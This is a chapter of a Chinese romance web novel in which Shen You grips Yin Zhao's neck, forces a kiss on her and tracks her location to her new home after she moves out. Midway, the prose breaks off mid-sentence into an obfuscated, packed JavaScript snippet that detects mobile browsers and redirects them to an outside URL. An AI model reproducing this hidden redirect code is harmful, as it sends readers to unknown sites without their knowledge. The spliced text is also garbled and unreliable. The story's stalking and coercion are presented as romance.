*
这是个好事情。
他们离打火机更远了。
尹昭向来识时务,她不像沈宥,她在底层摸爬滚打过,她的自尊能屈能伸。
她抬手轻轻握住了他的手腕,柔声唤他的名字:“沈侑之,我们能好好说话吗?我不想一直和你吵架。”
又垂眸去看他的手,摇头示意自己的不适,声音委屈:“你这样,我很害怕。”
沈宥的情绪又一次被她控制住。
他放开了她脆弱的脖颈,把她整个人锁进怀里,脱了外套,她就只穿了件紧身羊绒衫,玲珑曲致的身体与他相贴,紧密温暖。
沈宥清楚地感受到自己的情动,这温暖就变得残忍。
“尹昭,你骗了我。别以为可以什么代价都不付,想走就走。”沈宥扣着她的后颈令她仰向他,声音很轻,透着平静的疯狂。
尹昭有一刹那的不寒而栗。
头顶的水晶吊灯在她的面孔上洒下璀璨明亮的光芒,所有心思情绪都将无处可藏。
那些摇摇欲坠的水晶,直晃得她眼晕。
尹昭索性闭了眼,什么也看不见,勇气倒更足了些:
“沈侑之,你说我骗你,你就没有骗过我吗?就算我骗了你,我也没有亏欠你。我们是什么关系,我们为什么在一起,你我不都是心知肚明的吗?”
“和你在一起,我是得了不少好处。可我对你也是有用的。就说姜媛,要不是她去嘉合闹事,她爸倒台的事,你没法那么轻松地袖手旁观吧?还有港城那块地,那份合同也是我——”
她把那些过往一件件都掰扯得清楚,听起来十足的公平公允。
可她的冷静与振振有词都在说,她根本不爱他,那些他以为是爱的证据都是虚假。
他爱她,她不爱他,哪来的公平。
这些个律师最能颠倒是非,让他越听越是烦躁,他早知道的,她在骗人这件事上也是天赋异禀得很。太可恨。
沈宥一把将尹昭的头摁到嘴边,唇舌堵住她,恶狠狠地抵得她舌根都痛,大手箍着她的腰,腿也压着她的,步步相逼,要把她推到墙角去。
尹昭捶他,踢他。
一点用也没有。
烦死了,她干脆踮起脚,攀紧了他的脖子,拿齿尖狠咬他的唇,又用舌尖去勾缠他,把这些年学会的技巧一个不落地全使上。
纵情声色,谁不会。
要是沈宥还想来个分手炮,不对,他们顶多叫分开炮,她也敢奉陪,她赌沈宥比她更低不下这个头,咽不下这口气。
果然,她刚热情了不到三十秒。
沈宥已经掰开了她的头,避如蛇蝎地放她离了怀抱,一双薄唇都被她咬出了艳丽血痕,眸子里却还是冰冷阴鸷:
“尹昭——”
“沈侑之,你还不明白吗?”尹昭抢先反问,从他吻她起,她就知道他要问什么,也知道要怎么答:
“和谁接吻,这对我根本不重要。你一个问我要不要当固定床伴的人,怎么还在意这种事?”
沈宥眸光骤暗,下颚绷得死紧,领带早就不知被他扯到哪去了,半敞的领口里,青筋已经暴起得仿佛要挣脱表面那层皮肉。
可他什么也没说。
似乎是被她这句话驳倒了。
紧张到要燃起火星的沉默里,沙发上尹昭大衣口袋里的手机骤然响铃,噈地就要引爆一切。
比沈宥更快一步。
尹昭一把扯过大衣,搭在臂弯上,卷起日记本塞进口袋,掏出手机一看,是韩慕柏来电。
她出门太着急,没和他说一句,大概是他买好了监控,回家却被锁在了门外。
尹昭接通电话,愧疚地放柔了语气:
“喂,慕柏?”
“临时有个事要处理,着急出门,忘记和你说一声了。”
“嗯抱歉。现在就回去了,十分钟。”
“那你等我一会。”
沈宥觉得自己快疯了。
尹昭对着电话说的每个字,都是对他的一场凌迟,一刀刀在剜他的心。
她千方百计瞒着他行程,现在却温温柔柔地给另一个男人报备行程。白天才从这屋子里搬走,晚上就要去寻另一个男人,还是一个她才认识了两三周的男人,就因为那张脸吗?
尹昭挂了电话,抬头被沈宥眼里的暴戾吓了一跳,赶忙往门口又撤了几步。
太明显的避之不及,再次刺痛了沈宥。
他大力掰过她的肩,笑容阴冷:“你搬去哪了?那个韩慕柏的家吗?你们今晚住一起?尹昭,你到底是离不得男人,还是离不得这张脸?要不求求我呢?说不定我还愿意陪你再玩玩这替身游戏?”
“沈侑之,你嘴巴给我放干净点。”尹昭恼火得想骂脏话,猛地推开他,一个趔趄险些自己都没站稳:“别把你们那个圈子里的烂事往我身上搬。还有我一个单身女性,恋爱婚姻自由,轮不到你来指手画脚。”
她揉着肩退到门边,左手握上门柄,抬起下巴尖,指了指茶几方向,问:“沈侑之,你怎么才肯把我的日记本还给我。那是我的东西,你没有权利侵占。”
她攥紧了口袋里的日记本。
只有这一本是牧白留下的。
至于其他的,都是她后来买的仿款,虽然丢了可惜,但是如果沈宥想要,她又争不来,那就给他吧。
赝品和仿款凑一起,真是天生一对。
“我说了,你想走没那么容易。”
沈宥站在吊灯下方,光亮如白昼,却在他的眉骨下投出阴影,声音更是冷得像从地狱里爬出来的恶鬼。
求求了,快来个女巫把他毒哑吧。
“沈侑之,我劝你等脑子清醒了,再照照镜子好好想想。”尹昭拧着眉讥讽,毫不留恋地推开厚重的装甲门:“日记你想要,给你好了,我再写就是了。”
她走进夜色里,一把灌了满怀冷风,双手抱胸搂紧了大衣,身后传来被风吹得七零八落的声音。
在风里捡起碎片拼凑好,还是听懂了。
是沈宥在问:“尹昭,我们第一次那晚,你到底看到的是他,还是我?”
他怎么这么无聊。
反反复复纠缠这一个问题。
他真应该好好读读她的日记。
他也真应该好好听听她的朗诵。
她明明刚刚已经读给他听了。
「我们说的每一句话都是谎话。因为我们从来没敢彻底真实地面对过自己,也因为我们从来都知道,我们将为自己说出的每一句话付出代价。」
俯身上了网约车的后座,尹昭把日记本搁到腿上,用手掌一寸寸用力拓平。
这本就伤痕累累的本子,被她今晚这么弯来折去的,真是受够了罪。大概牧白把它和她一起留在这世上,就是为了让她总能有个同甘共苦的伴吧。
降下了些车窗,风吹得眼睛疼,眼角竟滚下泪来。
尹昭偏过头,闭上了眼。
*
沈宥也闭上了眼,头疼欲裂。
她在的时候,肺都快被气炸。
可她一推开门,寒风就呼啸着肆虐,把血管里狂奔的怒气全部吹散,只用毁灭一切的风速压迫他的呼吸,连累得心脏在绞痛、大脑也在缺氧。
缺氧到都有幻觉了。
她明明走了,空荡荡的房子里却到处都是她的影子,把所有顶灯、壁灯打开也没用,把眼睛闭上也没用。
闭了眼,也能看见她。
从搬进来那天起,她就想走了吧。
她在他这住了三年,没有一刻忘记谨遵租客的本分。
从来没独自坐过客厅沙发,只有被他抱着才会躺下去,柜子里没摆过她的物件,借了他的书,隔几天就会物归原位。大概只有餐桌那个角——她喜欢坐在那敲电脑嚼面包——是她认可的领地。
她还偶尔会买花,一小束茉莉,插在玄关的花瓶里。冬日里她很久没买花了,可屋子里还是散着茉莉香气,令他想起她。
那她呢。
搬去别的地方会不习惯吗?会因为一刻的不熟悉不习惯而想起他吗?她到底搬去哪了?他们会住一起吗?会睡在一起吗?他会替代他吗?
太阳穴突突地跳,脑子痛得快裂开,像是要被活生生切割成两个人。
傲气不允许他去凑到她身边当个替身。
可他也见不得想不得她对别的男人轻声细语。
茶几上的手机轻微震动。
沈宥深吸过一口气,捏了捏眉心,缓过片刻才捞过来扫了一眼。
呵。这一眼就又被命运掐住了咽喉,让他满心只觉荒唐。
荒唐到像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271167|182306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命中注定。
眯眼看了半晌,沈宥冷冷扯了唇,点开短信里的链接,左手抓了外套和车钥匙,终还是头也不回地往外走去。
手机屏幕上,一辆小车的图标在移动。
尹昭应该早忘了吧。她在网约车软件上留下的紧急联络人是他,夜间十点以后的网约车行程,会自动分享给他。
她一定是忘了,不然以她的性子,肯定会毫不留情地删除。
她搬回了琅琊小区。
真是一点不长记性。
她这些年也挣了不少钱,竟然还不肯多花点钱挑个安全点的地方,但至少没傻到搬去另一个男人家里。
沈宥把车停在了小区北侧的一栋楼前,尹昭的雷克萨斯和那个年轻男生的法拉利都逼仄地停在离他十米左右的车位上,他猜她就在这楼上。
两个单元,三十六家住户。
一半熄了灯,还有一半亮着灯。
眼下他想把她找回来,都不知道往哪个门里闯。但只要等下去,总归会知道的。既然老天给了地址,他就要先搞明白她现在住哪,无论以后怎么办。
沈宥在车里沉默着坐了一会。
这一晚,精密运转了三十年的脑子被她气到烧短路、宕了机,想不明白以后,想不明白自己要什么,隐约觉得答案在她那,几次拿起手机想给她打电话,最后都放下了。
她不会接,犯不着自取其辱。
他也不敢想,接通了会听到什么。
想逼迫自己恢复正常,却被脑海中歇斯底里的蜂鸣折磨到崩溃。生平头一次,沈宥大力捶了把方向盘,弓弯了腰,额头抵着方向盘,像溺水的人寻求浮木。
想要报复她,让她受到惩罚,也想要抱住她,让她留在他身边。
车外,楼里灯又陆续暗了几盏,每一盏暗下的灯,都让心跟着往下沉一分。
沈宥想起来,尹昭做那事时不爱开灯,总爱轻轻巧巧地踢他,咕哝着催他关灯。
她为什么不爱开灯?
她怕看见什么?
不能再想下去了。太熬人了。
他推开车门,去小区门口的便利店买了包烟,忘了买打火机,又折回去买。
离开时,听到熟客在和老板抱怨小区里的车整天乱停,根本错不开车,今天还停了辆法拉利,万一倒霉磕着了,赔都赔不起。
走回车旁的柚子树下,手抖了半天,才点燃了烟,橘色火光在指骨间明灭,沈宥长呼出一口气,烟雾缭绕升起,尼古丁的味道也不知是镇定了他的神经,还是刺激了他。
想上车踩死油门,狠狠撞上那辆还没驶离的银色法拉利,撞成烂铁才好。
他倒是敢撞也撞得起,但有用吗?
沈宥呛了口烟,太久没抽了。
烟是在美国上学时就学会了的,刚回国的时候压力大抽得凶些,后来尹昭不喜欢烟味。她那个性子不会明说,可她会躲,更会编一堆理由搪塞他。她一直都这样,看着温柔可人,其实主意大得很。
他猜了许久,才猜到是烟味。本来也没什么烟瘾,就戒了烟,能做主的场合也一概不许见烟,有时迫不得已在外沾了烟味,就先洗干净再去抱她。
三年,一恍就过了。
怎么今晚能想起来的事那么多,感觉有一辈子那么长。
六层的楼道里,灯亮了。
一个高大男生的身影一层层向下,投在楼道里空缺了玻璃的窗户上。
沈宥长舒一口气,掐灭了烟,把余下的半根丢进垃圾筒里,想想又从口袋里掏出烟盒和打火机,都扔了进去。
他坐进车里,指尖轻敲着方向盘,看那个年轻男生低头玩着手机从他车前路过。
长得真像啊。和他很像,比他还像。
他仰头看向韩慕柏的起点。
六层最东侧一直亮着的那扇窗户,或许是错觉,尹昭的身影似乎闪过,纤细曼妙,勾得人魂牵梦萦。
虽然很低级,但这一刻,他的确想起了进入她身体时的滋味,灵魂被她紧紧拥裹着,温暖洋流漫进心里。
管他周牧白,还是韩慕柏,尹昭的身体只接纳过他,甚至第一次也是他的。
谁也抢不去。
以后,也抢不去。
报复她也好,抱住她也好,这两个想法都在告诉他,他该做一件事。